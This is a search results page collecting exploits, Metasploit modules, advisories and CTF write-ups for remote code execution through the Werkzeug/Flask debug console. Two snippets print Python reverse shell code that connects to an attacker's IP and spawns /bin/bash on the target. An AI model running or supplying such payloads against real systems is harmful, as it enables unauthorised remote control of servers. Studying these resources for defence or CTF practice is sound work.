🌐
Exploit-DB
exploit-db.com › exploits › 43905
Werkzeug - 'Debug Shell' Command Execution - Multiple remote Exploit
January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%
🌐
GitHub
github.com › its-arun › Werkzeug-Debug-RCE
GitHub - its-arun/Werkzeug-Debug-RCE: Python script for exploiting Werkzeug Debug RCE useful for CTF · GitHub
Python script for exploiting Werkzeug Debug RCE useful for CTFs where you just need to read a particular file or execute some command.
Author   its-arun
🌐
Rapid7
rapid7.com › db › modules › exploit › multi › http › werkzeug_debug_rce
Pallete Projects Werkzeug Debugger Remote Code ...
June 28, 2015 - This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.
🌐
HackTricks
book.hacktricks.xyz › home › network services pentesting › pentesting web › werkzeug
Werkzeug / Flask Debug - HackTricks
2 days ago - GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode.
🌐
GitHub
github.com › Fare9 › PyWerkzeug-Debug-Command-Execution
GitHub - Fare9/PyWerkzeug-Debug-Command-Execution: python exploit for werkzeug debug shell command execution · GitHub
People would say it's based on MSF exploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/werkzeug_debug_rce.rb), but as I couldn't understand at all this exploit, I did it my own exploit.
Starred by 10 users
Forked by 8 users
Languages   Python
🌐
Snyk
security.snyk.io › snyk vulnerability database › pip
werkzeug | Snyk
Security vulnerabilities and package health score for pip package werkzeug
🌐
Medium
shellbr3ak.medium.com › h-cktivitycon-web-88be6514b73
H@cktivitycon — Web - Shellbr3ak - Medium
August 1, 2020 - Essentially what the exploit does is, it starts checking whether the debug shell is enabled or not, if it’s not it stops working, and if it is, it just sends a simple reverse shell code in python, pretty simple isn’t it ;)
🌐
Veracode
sourceclear.com › vulnerability-database › security › directory-traversal › python › sid-20917
Directory Traversal Vulnerability in the werkzeug library | Veracode
werkzeug (werkzeug). werkzeug is vulnerable to directory traversal. An attacker is able to access arbitrary files through the SharedDataMiddleware due to the way Python's `os.path.join()` function works on Windows.
🌐
InfosecMatter
infosecmatter.com › home › metasploit module library
Werkzeug Debug Shell Command Execution - Metasploit - InfosecMatter
December 4, 2022 - This module will exploit the Werkzeug debug console to put down a Python shell. This debugger "must never be used on production machines" but sometimes slips passed testing. Tested against: 0.9.6 on Debian 0.9.6 on Centos 0.10 on Debian
Find elsewhere
🌐
GitHub
github.com › wdahlenburg › werkzeug-debug-console-bypass
GitHub - wdahlenburg/werkzeug-debug-console-bypass: Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. · GitHub
Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - wdahlenburg/werkzeug-debug-conso...
Starred by 66 users
Forked by 8 users
Languages   Python 85.8% | Dockerfile 14.2%
🌐
Exploit-DB
exploit-db.com › exploits › 37814
Werkzeug - Debug Shell Command Execution (Metasploit) - Python remote Exploit
August 18, 2015 - ## # This module requires Metasploit: ... Debug Shell Command Execution', 'Description' => %q{ This module will exploit the Werkzeug debug console to put down a Python shell....
🌐
GitHub
github.com › MistSpark › Vigilant-Exploits › blob › master › Werkzeug_Exploit.py
Vigilant-Exploits/Werkzeug_Exploit.py at master · MistSpark/Vigilant-Exploits
payload = '''import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('%s',%s));os.dup2(s.fileno(),0);'''\ · '''os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");s.close();'''%(attackerIP,port)
Author   MistSpark
🌐
Vulners
vulners.com › osv › usn-6799-1 python-werkzeug vulnerability
USN-6799-1 python-werkzeug vulnerability - vulnerability database | Vulners.com
February 10, 2026 - It was discovered that the debugger in Werkzeug was not restricted totrusted hosts. A remote attacker could possibly use this issue to executecode on the host under certain circumstances.
🌐
siunam's Website
siunam321.github.io › ctf › TFC-CTF-2024 › Web › SAGIGRAM
SAGIGRAM | siunam's Website
Now, we can write a solve script to automatic the above exploit chains! #!/usr/bin/env python3 import requests import random import string from bs4 import BeautifulSoup from re import search, compile from PIL import Image, ImageDraw, ImageFont from io import BytesIO class Solver: def __init__(self, targetBaseUrl): self.targetBaseUrl = targetBaseUrl self.session = requests.session() self.REGISTER_PATH = f'{self.targetBaseUrl}/register' self.LOGIN_PATH = f'{self.targetBaseUrl}/login' self.EDIT_PROFILE_PATH = f'{self.targetBaseUrl}/edit_profile' self.SEND_FRIEND_REQUEST_PATH = f'{self.targetBaseU
🌐
ctf
beerpwn.it › ctf › 2020 › NahamCon_CTF › web › Bomarr_Style
B’omarr Style, WEB 200 pti | ctf
To do that I build a python script. In this script you can see that I picked up the /proc/sys/kernel/randomize_va_space file which should be present on every modern linux systems and his contents (by default) is 2\n · $ cat /proc/sys/kernel/randomize_va_space | xxd 00000000: 320a 2. I exploited the RCE using blind-time-based technique to extract the flag.txt contents, but reading other writeup I notice that I can use a python reverse shell payload to get a shell on the server.
🌐
Rawsec
blog.raw.pm › en › HackTheBox-ScriptKiddie-write-up
ScriptKiddie - Write-up - HackTheBox - Rawsec - raw.pm
September 27, 2025 - ... This module exploits a command injection vulnerability in Metasploit Framework's msfvenom payload generator when using a crafted APK file as an Android payload template. Affects Metasploit Framework <= 6.0.11 and Metasploit Pro <= 4.18.0.
🌐
Exploit Notes
exploit-notes.hdks.org › exploit › web › framework › python › werkzeug-pentesting
Introduction - Exploit Notes
January 18, 2024 - git clone https://github.com/hdks-bug/exploitnotes.git cd exploitnotes python3 -m venv .venv source .venv/bin/activate pip3 install -r requirements.txt zensical serve
🌐
HackTricks
book.hacktricks.xyz › pentesting › pentesting-web › werkzeug
Page not found - HackTricks
September 10, 2022 - This URL is invalid, sorry. Please use the navigation bar or search to continue